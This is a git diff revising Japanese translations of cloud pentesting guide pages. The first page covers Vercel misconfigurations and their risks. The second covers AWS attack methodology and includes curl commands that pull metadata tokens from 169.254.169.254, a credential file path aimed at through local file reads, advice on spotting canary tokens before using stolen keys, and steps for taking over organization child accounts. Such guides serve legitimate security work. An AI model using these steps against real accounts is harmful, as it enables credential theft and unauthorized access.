**リスク:** 中間者攻撃(MITM)に対して脆弱であり、データの整合性と機密性が損なわれる可能性があります。 -- **DNSSEC実装** +- **リスク:** 中間者攻撃(MITM)に対して脆弱で、データの整合性と機密性が損なわれる可能性があります。 +- **DNSSECの実装** - **誤設定:** DNSSECを有効にしない、または不正確なDNSSEC設定。 - **リスク:** DNSスプーフィングやキャッシュポイズニング攻撃に対する感受性が高まります。 - **ドメインごとの使用環境** @@ -57,7 +57,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** - **リスク:** 本番の秘密が開発またはプレビュー環境に漏洩し、露出が増加します。 - **機密環境へのアクセス** - **誤設定:** 本番環境への広範なアクセスを許可します。 -- **リスク:** 無許可の変更やライブアプリケーションへのアクセスが可能になり、ダウンタイムやデータ漏洩の可能性があります。 +- **リスク:** 不正な変更やライブアプリケーションへのアクセスが行われ、ダウンタイムやデータ侵害の可能性があります。 --- @@ -69,13 +69,13 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** - **機密変数の露出** - **誤設定:** 機密変数に`NEXT_PUBLIC_`をプレフィックスし、クライアント側でアクセス可能にします。 -- **リスク:** APIキー、データベースの資格情報、またはその他の機密データが公開され、データ漏洩につながる可能性があります。 +- **リスク:** APIキー、データベースの資格情報、またはその他の機密データが公開され、データ侵害につながる可能性があります。 - **機密無効** -- **誤設定:** 無効にされている場合(デフォルト)、生成された秘密の値を読み取ることが可能です。 -- **リスク:** 機密情報の偶発的な露出や無許可のアクセスの可能性が高まります。 +- **誤設定:** 無効(デフォルト)の場合、生成された秘密の値を読み取ることが可能です。 +- **リスク:** 機密情報の偶発的な露出や不正アクセスの可能性が高まります。 - **共有環境変数** - **誤設定:** これらはチームレベルで設定された環境変数であり、機密情報を含む可能性があります。 -- **リスク:** 機密情報の偶発的な露出や無許可のアクセスの可能性が高まります。 +- **リスク:** 機密情報の偶発的な露出や不正アクセスの可能性が高まります。 --- @@ -86,7 +86,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** #### セキュリティ設定: - **無視されたビルドステップ(TODO)** -- **誤設定:** このオプションは、新しいコミットがGitHubにプッシュされたときに実行されるbashスクリプト/コマンドを設定できるようです。これによりRCEが可能になる可能性があります。 +- **誤設定:** このオプションは、新しいコミットがGithubにプッシュされたときに実行されるbashスクリプト/コマンドを設定できるようです。これによりRCEが可能になる可能性があります。 - **リスク:** TBD --- @@ -102,7 +102,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** - **リスク:** 脆弱性、データ漏洩、または侵害された統合を通じたバックドアの導入。 - **過剰な権限を持つ統合** - **誤設定:** 統合されたサービスに過剰な権限を付与します。 -- **リスク:** プロジェクトリソースへの無許可のアクセス、データの操作、またはサービスの中断。 +- **リスク:** プロジェクトリソースへの不正アクセス、データ操作、またはサービスの中断。 - **統合監視の欠如** - **誤設定:** サードパーティ統合の監視や監査を怠ります。 - **リスク:** 侵害された統合の検出が遅れ、セキュリティ侵害の影響が増大します。 @@ -111,53 +111,53 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** ### デプロイメント保護 -**目的:** 様々な保護メカニズムを通じてデプロイメントを保護し、誰が環境にアクセスしデプロイできるかを制御します。 +**目的:** 様々な保護メカニズムを通じてデプロイメントを安全にし、誰が環境にアクセスしデプロイできるかを制御します。 #### セキュリティ設定: **Vercel認証** - **誤設定:** 認証を無効にするか、チームメンバーのチェックを強制しない。 -- **リスク:** 無許可のユーザーがデプロイメントにアクセスでき、データ漏洩やアプリケーションの悪用につながる可能性があります。 +- **リスク:** 不正なユーザーがデプロイメントにアクセスでき、データ侵害やアプリケーションの悪用につながる可能性があります。 **自動化のための保護バイパス** -- **誤設定:** バイパスシークレットを公開するか、弱いシークレットを使用します。 -- **リスク:** 攻撃者がデプロイメント保護をバイパスし、保護されたデプロイメントにアクセスして操作することができます。 +- **誤設定:** バイパス秘密を公開するか、弱い秘密を使用します。 +- **リスク:** 攻撃者がデプロイメント保護をバイパスし、保護されたデプロイメントにアクセスして操作する可能性があります。 **共有リンク** - **誤設定:** リンクを無差別に共有するか、古いリンクを取り消さない。 -- **リスク:** 認証やIP制限をバイパスして保護されたデプロイメントに無許可でアクセスすることができます。 +- **リスク:** 認証やIP制限をバイパスして保護されたデプロイメントに不正アクセスする可能性があります。 **OPTIONS Allowlist** - **誤設定:** 過度に広いパスや機密エンドポイントを許可リストに追加します。 -- **リスク:** 攻撃者が保護されていないパスを利用して無許可のアクションを実行したり、セキュリティチェックをバイパスしたりすることができます。 +- **リスク:** 攻撃者が保護されていないパスを悪用して不正な行動を行ったり、セキュリティチェックをバイパスする可能性があります。 **パスワード保護** - **誤設定:** 弱いパスワードを使用するか、安全でない方法で共有します。 -- **リスク:** パスワードが推測されたり漏洩した場合、デプロイメントに無許可でアクセスされる可能性があります。 -- **注:** **Pro**プランで利用可能で、**Advanced Deployment Protection**の一部として追加の$150/月が必要です。 +- **リスク:** パスワードが推測されたり漏洩した場合、デプロイメントに不正アクセスされる可能性があります。 +- **注意:** **Pro**プランで利用可能で、**Advanced Deployment Protection**の一部として追加の$150/月が必要です。 **デプロイメント保護の例外** -- **誤設定:** 本番または機密ドメインを誤って例外リストに追加します。 -- **リスク:** 重要なデプロイメントが公開され、データ漏洩や無許可のアクセスにつながる可能性があります。 -- **注:** **Pro**プランで利用可能で、**Advanced Deployment Protection**の一部として追加の$150/月が必要です。 +- **誤設定:** 本番または機密ドメインを例外リストに誤って追加します。 +- **リスク:** 重要なデプロイメントが公開され、データ漏洩や不正アクセスにつながる可能性があります。 +- **注意:** **Pro**プランで利用可能で、**Advanced Deployment Protection**の一部として追加の$150/月が必要です。 **信頼されたIP** - **誤設定:** IPアドレスやCIDR範囲を不正確に指定します。 -- **リスク:** 正当なユーザーがブロックされるか、無許可のIPがアクセスを得る可能性があります。 -- **注:** **Enterprise**プランで利用可能です。 +- **リスク:** 正当なユーザーがブロックされるか、不正なIPがアクセスを得る可能性があります。 +- **注意:** **Enterprise**プランで利用可能です。 --- ### 関数 -**目的:** サーバーレス関数を設定し、ランタイム設定、メモリ割り当て、セキュリティポリシーを含みます。 +**目的:** サーバーレス関数を設定し、ランタイム設定、メモリ割り当て、セキュリティポリシーを含めます。 #### セキュリティ設定: @@ -173,13 +173,13 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** - **キャッシュの消去** - **誤設定:** すべてのキャッシュを削除することを許可します。 -- **リスク:** 無許可のユーザーがキャッシュを削除し、潜在的なDoSを引き起こす可能性があります。 +- **リスク:** 不正なユーザーがキャッシュを削除し、潜在的なDoSを引き起こす可能性があります。 --- ### Cronジョブ -**目的:** 指定された間隔で自動化されたタスクやスクリプトをスケジュールします。 +**目的:** 自動化されたタスクやスクリプトを指定された間隔で実行するようにスケジュールします。 #### セキュリティ設定: @@ -191,7 +191,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** ### ログドレイン -**目的:** 監視と監査のためにアプリケーションログをキャプチャし保存する外部ログサービスを設定します。 +**目的:** 外部ログサービスを設定して、監視と監査のためにアプリケーションログをキャプチャし保存します。 #### セキュリティ設定: @@ -208,27 +208,27 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** **ビルドログとソース保護** - **誤設定:** 保護を無効にするか、`/logs`および`/src`パスを公開します。 -- **リスク:** ビルドログやソースコードへの無許可のアクセスが可能になり、情報漏洩や脆弱性の悪用につながる可能性があります。 +- **リスク:** ビルドログやソースコードへの不正アクセスが行われ、情報漏洩や脆弱性の悪用につながる可能性があります。 **Gitフォーク保護** -- **誤設定:** 適切なレビューなしに無許可のプルリクエストを許可します。 +- **誤設定:** 適切なレビューなしに不正なプルリクエストを許可します。 - **リスク:** 悪意のあるコードがコードベースにマージされ、脆弱性やバックドアが導入される可能性があります。 **OIDC連携による安全なバックエンドアクセス** -- **誤設定:** OIDCパラメータを不正確に設定するか、安全でない発行者URLを使用します。 -- **リスク:** 欠陥のある認証フローを通じてバックエンドサービスへの無許可のアクセスが可能になります。 +- **誤設定:** OIDCパラメータを不正に設定するか、安全でない発行者URLを使用します。 +- **リスク:** 誤った認証フローを通じてバックエンドサービスへの不正アクセスが行われる可能性があります。 **デプロイメント保持ポリシー** - **誤設定:** 保持期間を短すぎる(デプロイメント履歴を失う)または長すぎる(不必要なデータ保持)に設定します。 -- **リスク:** 必要なときにロールバックができなくなるか、古いデプロイメントからのデータ露出のリスクが増加します。 +- **リスク:** 必要なときにロールバックができなくなるか、古いデプロイメントからのデータ露出のリスクが高まります。 **最近削除されたデプロイメント** - **誤設定:** 削除されたデプロイメントを監視しないか、自動削除のみに依存します。 -- **リスク:** 重要なデプロイメント履歴の喪失が監査やロールバックを妨げます。 +- **リスク:** 重要なデプロイメント履歴の喪失が監査やロールバックを妨げる可能性があります。 --- @@ -254,12 +254,12 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** **攻撃チャレンジモードの有効化** - **誤設定:** これを有効にすると、DoSに対するWebアプリケーションの防御が向上しますが、使いやすさが犠牲になります。 -- **リスク:** ユーザーエクスペリエンスの問題の可能性があります。 +- **リスク:** ユーザーエクスペリエンスの問題が発生する可能性があります。 -### カスタムルールとIPブロッキング +### カスタムルールとIPブロック - **誤設定:** トラフィックをブロック/解除することを許可します。 -- **リスク:** 悪意のあるトラフィックを許可したり、無害なトラフィックをブロックしたりする可能性があります。 +- **リスク:** 悪意のあるトラフィックを許可したり、無害なトラフィックをブロックする可能性があります。 --- @@ -272,8 +272,8 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** ### スキュー保護 -- **誤設定:** この保護は、クライアントとサーバーアプリケーションが常に同じバージョンを使用することを保証し、クライアントがサーバーとは異なるバージョンを使用することによる非同期を防ぎます。 -- **リスク:** これを無効にすると(有効な場合)、将来の新しいデプロイメントでDoSの問題を引き起こす可能性があります。 +- **誤設定:** この保護は、クライアントとサーバーアプリケーションが常に同じバージョンを使用することを保証し、クライアントがサーバーと異なるバージョンを使用することによる非同期を防ぎます。 +- **リスク:** これを無効にすると(有効な場合)、将来の新しいデプロイメントでDoSの問題が発生する可能性があります。 --- @@ -286,7 +286,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** - **転送** - **誤設定:** すべてのプロジェクトを別のチームに転送することを許可します。 - **リスク:** 攻撃者がプロジェクトを盗む可能性があります。 -- **プロジェクト削除** +- **プロジェクトの削除** - **誤設定:** すべてのプロジェクトを持つチームを削除することを許可します。 - **リスク:** プロジェクトが削除される可能性があります。 @@ -298,7 +298,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** - **Speed Insightsコスト制限** - **誤設定:** 攻撃者がこの数値を増加させる可能性があります。 -- **リスク:** コストの増加。 +- **リスク:** コストが増加します。 --- @@ -310,8 +310,8 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境** - **誤設定:** 攻撃者が制御するアカウントを招待して持続性を維持する可能性があります。 - **リスク:** 攻撃者の持続性。 - **役割** -- **誤設定:** 不要な人に過剰な権限を付与することは、Vercelの設定のリスクを増加させます。すべての可能な役割を確認するには[https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)を参照してください。 -- **リスク:** Vercelチームの露出が増加します。 +- **誤設定:** 不要な人に過剰な権限を付与することは、Vercelの設定のリスクを高めます。すべての可能な役割を確認してください [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) +- **リスク**: Vercelチームの露出が増加します。 --- @@ -321,11 +321,11 @@ Vercelの**アクセスグループ**は、事前定義された役割割り当 **潜在的な誤設定:** -- **メンバーの過剰権限:** 必要以上の権限を持つ役割を割り当て、無許可のアクセスやアクションを引き起こす。 -- **不適切な役割割り当て:** チームメンバーの責任に合わない役割を誤って割り当て、特権の昇格を引き起こす。 -- **プロジェクトの分離不足:** 機密プロジェクトを分離せず、意図したよりも広範なアクセスを許可する。 -- **不十分なグループ管理:** アクセスグループを定期的にレビューまたは更新せず、古くなったり不適切なアクセス権限をもたらす。 -- **不一致な役割定義:** 異なるアクセスグループ間で不一致または不明瞭な役割定義を使用し、混乱やセキュリティの隙間を引き起こす。 +- **メンバーの過剰権限:** 必要以上の権限を持つ役割を割り当て、不正アクセスや行動を引き起こす可能性があります。 +- **不適切な役割割り当て:** チームメンバーの責任に合わない役割を誤って割り当て、特権の昇格を引き起こす可能性があります。 +- **プロジェクトの分離不足:** 機密プロジェクトを分離せず、意図したよりも広範なアクセスを許可します。 +- **不十分なグループ管理:** アクセスグループを定期的にレビューまたは更新せず、古くなったり不適切なアクセス権限をもたらします。 +- **一貫性のない役割定義:** 異なるアクセスグループ間で一貫性のないまたは不明確な役割定義を使用し、混乱やセキュリティの隙間を引き起こします。 --- @@ -343,39 +343,39 @@ Vercelの**アクセスグループ**は、事前定義された役割割り当 #### セキュリティ設定: -- **チームメールドメイン:** 設定されると、この設定は指定されたドメイン(例: `mydomain.com`)で終わるメールアドレスを持つVercel個人アカウントを自動的に招待し、サインアップ時およびダッシュボードでチームに参加させます。 -- **誤設定:** -- 不正確なメールドメインや誤字のあるドメインをチームメールドメイン設定に指定する。 -- 会社特有のドメインの代わりに一般的なメールドメイン(例: `gmail.com`, `hotmail.com`)を使用する。 +- **チームメールドメイン:** 設定されると、この設定は、指定されたドメイン(例: `mydomain.com`)で終わるメールアドレスを持つVercel個人アカウントを自動的に招待し、サインアップ時およびダッシュボード上でチームに参加させます。 +- **誤設定:** +- 不正確なメールドメインや誤字のあるドメインをチームメールドメイン設定に指定します。 +- 会社特有のドメインの代わりに一般的なメールドメイン(例: `gmail.com`, `hotmail.com`)を使用します。 - **リスク:** -- **無許可のアクセス:** 意図しないドメインのメールアドレスを持つユーザーがチームに参加するための招待を受ける可能性があります。 -- **データ露出:** 無許可の個人に機密プロジェクト情報が露出する可能性があります。 +- **不正アクセス:** 意図しないドメインのユーザーがチームに参加するための招待を受ける可能性があります。 +- **データ露出:** 機密プロジェクト情報が不正な個人に露出する可能性があります。 - **保護されたGitスコープ:** 他のVercelチームが保護されたスコープからリポジトリをデプロイするのを防ぐために、チームに最大5つのGitスコープを追加できます。複数のチームが同じスコープを指定でき、両方のチームがアクセスできます。 - **誤設定:** 重要なGitスコープを保護リストに追加しない。 - **リスク:** -- **無許可のデプロイメント:** 他のチームがあなたの組織のGitスコープから無許可でリポジトリをデプロイする可能性があります。 +- **不正なデプロイメント:** 他のチームがあなたの組織のGitスコープから無許可でリポジトリをデプロイする可能性があります。 - **知的財産の露出:** 専有コードがデプロイされ、チーム外でアクセスされる可能性があります。 - **環境変数ポリシー:** チームの環境変数の作成と編集に関するポリシーを強制します。具体的には、すべての環境変数が**機密環境変数**として作成され、Vercelのデプロイメントシステムによってのみ復号化できるように強制できます。 -- **誤設定:** 機密環境変数の強制を無効にする。 +- **誤設定:** 機密環境変数の強制を無効にしたままにします。 - **リスク:** -- **秘密の露出:** 環境変数が無許可のチームメンバーによって表示または編集される可能性があります。 -- **データ漏洩:** APIキーや資格情報などの機密情報が漏洩する可能性があります。 +- **秘密の露出:** 環境変数が不正なチームメンバーによって表示または編集される可能性があります。 +- **データ侵害:** APIキーや資格情報などの機密情報が漏洩する可能性があります。 - **監査ログ:** チームの活動を過去90日間までエクスポートします。監査ログは、チームメンバーによって実行されたアクションの監視と追跡に役立ちます。 - **誤設定:**\ -無許可のチームメンバーに監査ログへのアクセスを付与します。 +不正なチームメンバーに監査ログへのアクセスを付与します。 - **リスク:** - **プライバシー侵害:** 機密ユーザー活動やデータの露出。 - **ログの改ざん:** 悪意のある者が自分の足跡を隠すためにログを変更または削除する可能性があります。 -- **SAMLシングルサインオン:** チームのSAML認証とディレクトリ同期をカスタマイズし、中央集権的な認証とユーザー管理のためにアイデンティティプロバイダー(IdP)との統合を可能にします。 -- **誤設定:** 攻撃者がSAMLパラメータ(例: エンティティID、SSO URL、証明書フィンガープリント)を設定することでチームにバックドアを仕掛ける可能性があります。 +- **SAMLシングルサインオン:** チームのSAML認証とディレクトリ同期をカスタマイズでき、中央集権的な認証とユーザー管理のためにアイデンティティプロバイダー(IdP)との統合を可能にします。 +- **誤設定:** 攻撃者がSAMLパラメータ(例: エンティティID、SSO URL、証明書フィンガープリント)をバックドアする可能性があります。 - **リスク:** 持続性を維持。 - **IPアドレスの可視性:** IPアドレスが監視クエリやログドレインに表示されるかどうかを制御します。これは、特定のデータ保護法の下で個人情報と見なされる可能性があります。 -- **誤設定:** 必要なくIPアドレスの可視性を有効にしたままにする。 +- **誤設定:** 必要なくIPアドレスの可視性を有効にしたままにします。 - **リスク:** - **プライバシー侵害:** GDPRなどのデータ保護規制に対する不遵守。 -- **法的影響:** 個人データの取り扱いに関する罰金やペナルティの可能性。 +- **法的影響:** 個人データの取り扱いに関する罰金や制裁の可能性。 - **IPブロッキング:** VercelがリクエストをブロックすべきIPアドレスやCIDR範囲を設定できます。ブロックされたリクエストは請求に寄与しません。 -- **誤設定:** 攻撃者によって悪意のあるトラフィックを許可したり、正当なトラフィックをブロックしたりするために悪用される可能性があります。 +- **誤設定:** 攻撃者によって悪用され、悪意のあるトラフィックを許可したり、正当なトラフィックをブロックする可能性があります。 - **リスク:** - **正当なユーザーへのサービス拒否:** 有効なユーザーやパートナーのアクセスをブロックします。 - **運用の中断:** 特定の地域やクライアントのサービス可用性の喪失。 @@ -389,14 +389,14 @@ Vercelの**アクセスグループ**は、事前定義された役割割り当 #### **潜在的な誤設定とリスク** 1. **不正確なAWSリージョンの選択** -- **誤設定:** Secure Computeネットワークのためにバックエンドサービスのリージョンと一致しないAWSリージョンを選択します。 +- **誤設定:** Secure ComputeネットワークのAWSリージョンをバックエンドサービスのリージョンと一致しないように選択します。 - **リスク:** レイテンシの増加、データ居住地コンプライアンスの問題、パフォーマンスの低下。 2. **重複するCIDRブロック** - **誤設定:** 既存のVPCや他のネットワークと重複するCIDRブロックを選択します。 -- **リスク:** ネットワークの競合が発生し、接続の失敗、無許可のアクセス、またはネットワーク間のデータ漏洩を引き起こす可能性があります。 +- **リスク:** ネットワークの競合が発生し、接続の失敗、不正アクセス、またはネットワーク間のデータ漏洩が発生する可能性があります。 3. **不適切なVPCピアリング設定** -- **誤設定:** VPCピアリングを不正確に設定します(例: 不正確なVPC ID、未完成のルートテーブルの更新)。 -- **リスク:** バックエンドインフラストラクチャへの無許可のアクセス、セキュアな接続の失敗、データ漏洩の可能性。 +- **誤設定:** VPCピアリングを不正に設定します(例: 不正確なVPC ID、未完成のルートテーブルの更新)。 +- **リスク:** バックエンドインフラストラクチャへの不正アクセス、セキュアな接続の失敗、データ侵害の可能性。 4. **過剰なプロジェクト割り当て** - **誤設定:** 適切な分離なしに複数のプロジェクトを単一のSecure Computeネットワークに割り当てます。 - **リスク:** 共有IPの露出が攻撃面を増加させ、侵害されたプロジェクトが他のプロジェクトに影響を与える可能性があります。 @@ -405,19 +405,19 @@ Vercelの**アクセスグループ**は、事前定義された役割割り当 - **リスク:** IPスプーフィング、追跡の脆弱性、悪意のある活動に関連付けられた場合のブラックリスト化の可能性。 6. **ビルドコンテナを不必要に含める** - **誤設定:** ビルド中にバックエンドアクセスが必要ない場合に、ビルドコンテナをSecure Computeネットワークに追加します。 -- **リスク:** 攻撃面の拡大、プロビジョニングの遅延、ネットワークリソースの不必要な消費。 -7. **バイパスシークレットを安全に扱わない** -- **誤設定:** デプロイメント保護をバイパスするために使用されるシークレットを露出または不適切に扱います。 -- **リスク:** 保護されたデプロイメントへの無許可のアクセスが可能になり、攻撃者が悪意のあるコードを操作またはデプロイすることができます。 +- **リスク:** 拡大した攻撃面、プロビジョニングの遅延、ネットワークリソースの不必要な消費。 +7. **バイパス秘密を安全に扱わない** +- **誤設定:** デプロイメント保護をバイパスするために使用される秘密を露出または不適切に扱います。 +- **リスク:** 保護されたデプロイメントへの不正アクセスが行われ、攻撃者が悪意のあるコードを操作またはデプロイする可能性があります。 8. **リージョンフェイルオーバー設定を無視する** - **誤設定:** パッシブフェイルオーバーリージョンを設定しないか、フェイルオーバー設定を誤って設定します。 - **リスク:** プライマリリージョンの障害時にサービスのダウンタイムが発生し、可用性の低下やデータの不整合が生じる可能性があります。 9. **VPCピアリング接続制限を超える** - **誤設定:** 許可された制限(例: 50接続を超える)を超えてVPCピアリング接続を確立しようとします。 -- **リスク:** 必要なバックエンドサービスに安全に接続できず、デプロイメントの失敗や運用の中断を引き起こす可能性があります。 +- **リスク:** 必要なバックエンドサービスに安全に接続できず、デプロイメントの失敗や運用の中断が発生します。 10. **安全でないネットワーク設定** - **誤設定:** 弱いファイアウォールルール、暗号化の欠如、またはSecure Computeネットワーク内の不適切なネットワークセグメンテーション。 -- **リスク:** データの傍受、バックエンドサービスへの無許可のアクセス、攻撃に対する脆弱性の増加。 +- **リスク:** データの傍受、バックエンドサービスへの不正アクセス、攻撃に対する脆弱性の増加。 --- @@ -429,9 +429,9 @@ Vercelの**アクセスグループ**は、事前定義された役割割り当 - **機密変数の露出** - **誤設定:** 機密変数に`NEXT_PUBLIC_`をプレフィックスし、クライアント側でアクセス可能にします。 -- **リスク:** APIキー、データベースの資格情報、またはその他の機密データが公開され、データ漏洩につながる可能性があります。 +- **リスク:** APIキー、データベースの資格情報、またはその他の機密データが公開され、データ侵害につながる可能性があります。 - **機密無効** -- **誤設定:** 無効にされている場合(デフォルト)、生成された秘密の値を読み取ることが可能です。 -- **リスク:** 機密情報の偶発的な露出や無許可のアクセスの可能性が高まります。 +- **誤設定:** 無効(デフォルト)の場合、生成された秘密の値を読み取ることが可能です。 +- **リスク:** 機密情報の偶発的な露出や不正アクセスの可能性が高まります。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index befcc8ee7..f42a8efc7 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -36,7 +36,7 @@ AWS 環境を監査するためには、どの **サービスが使用されて - github(または類似のもの)での **漏洩** - OSINT - **ソーシャル** エンジニアリング - **パスワード** の再利用(パスワード漏洩) -- AWS ホスティングアプリケーションの脆弱性 +- AWS ホストアプリケーションの脆弱性 - [**サーバーサイドリクエストフォージェリ**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) メタデータエンドポイントへのアクセス - **ローカルファイル読み取り** - `/home/USERNAME/.aws/credentials` @@ -58,13 +58,13 @@ aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> 資格情報を取得した後は、それらの資格情報が **誰に属しているか**、および **何にアクセスできるか** を知る必要があります。そのため、いくつかの基本的な列挙を行う必要があります: +> 資格情報を取得した後は、それらの資格情報が **誰に属しているか**、および **何にアクセスできるか** を知る必要があります。そのため、いくつかの基本的な列挙を実行する必要があります: ## 基本的な列挙 ### SSRF -AWS 内のマシンで SSRF を見つけた場合は、トリックのためにこのページを確認してください: +AWS 内のマシンで SSRF を見つけた場合は、トリックについてはこのページを確認してください: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` > [!CAUTION] -> 企業は**カナリアトークン**を使用して**トークンが盗まれ使用されている**ときに特定することがあります。使用する前にトークンがカナリアトークンであるかどうかを確認することをお勧めします。\ +> 企業は**カナリアトークン**を使用して**トークンが盗まれ使用されている**かどうかを特定する場合があります。使用する前にトークンがカナリアトークンであるかどうかを確認することをお勧めします。\ > 詳細については[**このページを確認してください**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass)。 ### 組織の列挙 @@ -100,9 +100,9 @@ aws-services/aws-organizations-enum.md ### IAMの列挙 -十分な権限がある場合、**AWSアカウント内の各エンティティの権限を確認すること**は、あなたや他のアイデンティティが何をできるか、どのように**権限を昇格させることができるか**を理解するのに役立ちます。 +十分な権限がある場合は、**AWSアカウント内の各エンティティの権限を確認すること**が、あなたや他のアイデンティティが何をできるか、また**権限を昇格させる方法**を理解するのに役立ちます。 -IAMを列挙するための十分な権限がない場合、**ブルートフォースで盗む**ことができます。\ +IAMを列挙するための十分な権限がない場合は、**ブルートフォースで盗む**ことでそれらを特定できます。\ **列挙とブルートフォースの方法**については以下を確認してください: {{#ref}} @@ -111,17 +111,17 @@ aws-services/aws-iam-enum.md > [!NOTE] > 現在、**あなたの資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、幸運にも**検出されていない**ことを願っています)。環境で使用されているサービスを特定する時が来ました。\ -> 次のセクションでは、**一般的なサービスを列挙する方法**を確認できます。 +> 次のセクションでは、**一般的なサービスを列挙する方法**をいくつか確認できます。 ## サービスの列挙、ポストエクスプロイト & 永続性 -AWSには驚くべき数のサービスがあります。次のページでは、**基本情報、列挙**のチートシート\*\*、\*\***検出を回避する方法**、**永続性**を取得する方法、その他の**ポストエクスプロイト**のトリックについての情報を見つけることができます: +AWSには驚くべき数のサービスがあり、以下のページでは**基本情報、列挙**のチートシート\*\*、\*\***検出を回避する方法**、**永続性**を取得する方法、その他の**ポストエクスプロイト**のトリックについての情報が見つかります: {{#ref}} aws-services/ {{#endref}} -すべての作業を**手動で**行う必要はないことに注意してください。以下の投稿には、[**自動ツール**](./#automated-tools)に関する**セクション**があります。 +すべての作業を**手動で**行う必要はないことに注意してください。この投稿の下部には、[**自動ツール**](./#automated-tools)に関する**セクション**があります。 さらに、この段階で**認証されていないユーザーに公開されているサービスが**見つかるかもしれません。これらを悪用できるかもしれません: @@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/ ## 権限昇格 -異なるリソースに対して**少なくとも自分の権限を確認できる**場合、**さらに権限を取得できるかどうかを確認することができます**。少なくとも以下の権限に焦点を当てるべきです: +異なるリソースに対して**少なくとも自分の権限を確認できる**場合、**さらに権限を取得できるかどうかを確認できます**。少なくとも以下に示す権限に焦点を当てるべきです: {{#ref}} aws-privilege-escalation/ @@ -140,9 +140,9 @@ aws-privilege-escalation/ ## 公開されたサービス AWSサービスを列挙しているときに、いくつかのサービスが**インターネットに要素を公開している**のを見つけたかもしれません(VM/コンテナのポート、データベースやキューサービス、スナップショットやバケットなど)。\ -ペンテスター/レッドチームとして、これらに**機密情報/脆弱性**がないか常に確認するべきです。これにより、**AWSアカウントへのさらなるアクセス**が得られるかもしれません。 +ペンテスター/レッドチームとして、これらに**機密情報や脆弱性**がないか常に確認するべきです。これにより、**AWSアカウントへのさらなるアクセス**が得られるかもしれません。 -この本では、**公開されたAWSサービスを見つける方法とそれを確認する方法**に関する**情報**を見つけることができるはずです。**公開されたネットワークサービスの脆弱性を見つける方法**については、特定の**サービス**を以下で**検索**することをお勧めします: +この本では、**公開されたAWSサービスを見つける方法とそれを確認する方法**に関する**情報**が見つかるはずです。**公開されたネットワークサービスの脆弱性を見つける方法**については、特定の**サービス**を以下で**検索**することをお勧めします: {{#ref}} https://book.hacktricks.xyz/ @@ -152,22 +152,22 @@ https://book.hacktricks.xyz/ ### ルート/管理アカウントから -管理アカウントが組織内に新しいアカウントを作成すると、**新しい役割**が新しいアカウントに作成され、デフォルトで**`OrganizationAccountAccessRole`**と名付けられ、**管理アカウント**に新しいアカウントにアクセスするための**AdministratorAccess**ポリシーが付与されます。 +管理アカウントが組織内に新しいアカウントを作成すると、新しいアカウントに**新しいロール**が作成され、デフォルトで**`OrganizationAccountAccessRole`**と名付けられ、**管理アカウント**に新しいアカウントにアクセスするための**AdministratorAccess**ポリシーが付与されます。
したがって、子アカウントに管理者としてアクセスするには、次のことが必要です: -- **管理**アカウントを**侵害**し、**子アカウントのID**と**役割の名前**(デフォルトでOrganizationAccountAccessRole)を見つけて、管理アカウントが管理者としてアクセスできるようにします。 +- **管理**アカウントを**侵害**し、**子アカウントのID**と**ロールの名前**(デフォルトでOrganizationAccountAccessRole)を見つけて、管理アカウントが管理者としてアクセスできるようにします。 - 子アカウントを見つけるには、AWSコンソールの組織セクションに移動するか、`aws organizations list-accounts`を実行します。 -- 役割の名前を直接見つけることはできないため、すべてのカスタムIAMポリシーを確認し、**以前に発見した子アカウントに対する`sts:AssumeRole`を許可するもの**を検索します。 -- **管理アカウント内の**`sts:AssumeRole`権限を持つ**プリンシパルを侵害**し、子アカウントの役割に対して**(管理アカウントから誰でもなりすますことを許可している場合でも、外部アカウントであるため、特定の`sts:AssumeRole`権限が必要です)**。 +- ロールの名前を直接見つけることはできないため、すべてのカスタムIAMポリシーを確認し、**以前に発見した子アカウントに対する`sts:AssumeRole`を許可するもの**を検索します。 +- **管理アカウント内の**`sts:AssumeRole`権限を持つ**プリンシパル**を**子アカウントのロールに対して**侵害します(管理アカウントから誰でもなりすますことを許可している場合でも、外部アカウントであるため、特定の`sts:AssumeRole`権限が必要です)。 ## 自動ツール ### リコン -- [**aws-recon**](https://github.com/darkbitio/aws-recon):Rubyで書かれたマルチスレッドのAWSセキュリティに特化した**インベントリ収集ツール**。 +- [**aws-recon**](https://github.com/darkbitio/aws-recon): Rubyで書かれたマルチスレッドのAWSセキュリティに特化した**インベントリ収集ツール**です。 ```bash # Install gem install aws_recon @@ -179,7 +179,7 @@ AWS_PROFILE= aws_recon \ --verbose ``` - [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlistは、クラウドプロバイダーからアセット(ホスト名、IPアドレス)を取得するための**マルチクラウドツール**です。 -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapperは、Amazon Web Services(AWS)環境を分析するのに役立ちます。現在、セキュリティ問題の監査を含む、はるかに多くの機能が含まれています。 +- 